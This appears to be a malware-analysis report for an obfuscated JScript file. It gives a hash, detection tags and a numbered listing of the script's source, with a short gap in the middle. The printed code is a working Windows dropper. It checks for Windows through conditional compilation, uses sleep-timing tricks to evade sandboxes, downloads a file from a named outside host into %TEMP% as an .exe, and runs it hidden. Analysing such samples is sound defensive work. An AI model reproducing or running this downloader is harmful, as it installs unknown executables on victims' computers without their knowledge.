20160328_4538010314fd9439692ccda6438fdcf2.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2564905b28ed4b4ca9fe2b2f9848d0fe09a838a45349cdbd1ceadf799a0c26dc403
Evidence
1var Zjanalx = false;
2var Pjwle = "CreateObject";
3var Xlssnzdojo = function Ugrdfw() {return WScript[Pjwle]("WScript.Shell");}();
4var Ricxtl = 123213;
5var Bkaijbut = "MSXML2.XMLHTTP";
6var Fjygusa = 2123213;
7var Hjpqngcm = 0;
8function Sisncywzxa(Fgbwxm){Xlssnzdojo["Run"](Fgbwxm, Hjpqngcm, Hjpqngcm);};
9function Pqhucn(){return Bkaijbut;};
10function Pvultmmm(Hhyyn, Xranslixtn){return Hhyyn - Xranslixtn;};
11function Txjrh(){return Pjwle;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Zjanalx = true;
15 @end
16@*/
17var Mdardijoxk = "";
18if (Zjanalx)
19{
20function Puynanpgq(){return 22;};
21var Ejppskm = 0; var Jwdaru = 0;
22function Dhbsp()
23{
24var Zscjcx = new this["Date"]();
25var Ujbrd = Zscjcx["getUTCMilliseconds"]();
26WScript["Sleep"](Puynanpgq());
27var Zscjcx = new this["Date"]();
28var Awutpnkn = Zscjcx["getUTCMilliseconds"]();
29WScript["Sleep"](Puynanpgq());
30var Zscjcx = new this["Date"]();
31var Hgwomvrtxx = Zscjcx["getUTCMilliseconds"]();
32var Ejppskm = "Bxaomi";
33Ejppskm = Pvultmmm(Awutpnkn, Ujbrd);
34var Jwdaru = "Mpqrir";
35Jwdaru = Pvultmmm(Hgwomvrtxx, Awutpnkn);
36Mdardijoxk = "open";
37return Pvultmmm(Ejppskm, Jwdaru);
38}
39var Amuqv = false;
40var Strxupz = false;
41for (var Ddpqzfzsw = Hjpqngcm; Ddpqzfzsw < Puynanpgq() * 1; Ddpqzfzsw++){if (Dhbsp() != Hjpqngcm){
42A …
49:5… Amuqv && Akwmrzxafr() && Strxupz){
50function Zpjniode() {return Xlssnzdojo["ExpandEnvironmentStrings"]("%TEMP%/") + "JzFAlXeOOheLo1B.exe";};
51 Omkqxrry = Pqhucn();
52 Svehfmwcy = WScript[Pjwle](Omkqxrry);
53 var Nnpkgpsw = 1;
54 while (Nnpkgpsw){
55try {
56Svehfmwcy[Mdardijoxk]("GET", "http://www.cloudfire.pt/l3iska", false);
57Svehfmwcy["send"]();
58Yxwujrf = "Sleep";
59do {WScript[Yxwujrf](Puynanpgq() * 11)} while (Svehfmwcy["readystate"] < 4 );
60Nnpkgpsw = Hjpqngcm;
61} catch(Hdwaycletf){Nnpkgpsw = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Rqiaqufx(Uzywy) {var Jyqwkhivn = (1, 2, 3, 4, 5, Uzywy); return Jyqwkhivn;};
64Husqf = WScript[Txjrh()]("ADODB.Stream");
65Omkqxrry = Husqf;
66Omkqxrry[Mdardijoxk]();
67Omkqxrry["type"] = Rqiaqufx(1);
68Omkqxrry["write"](Svehfmwcy["ResponseBody"]);
69Husqf["position"] = Rqiaqufx(Hjpqngcm);
70Omkqxrry["SaveToFile"](Zpjniode(), Rqiaqufx(2) );
71Husqf["close"]();
72Sisncywzxa(Zpjniode());
73}
74}
75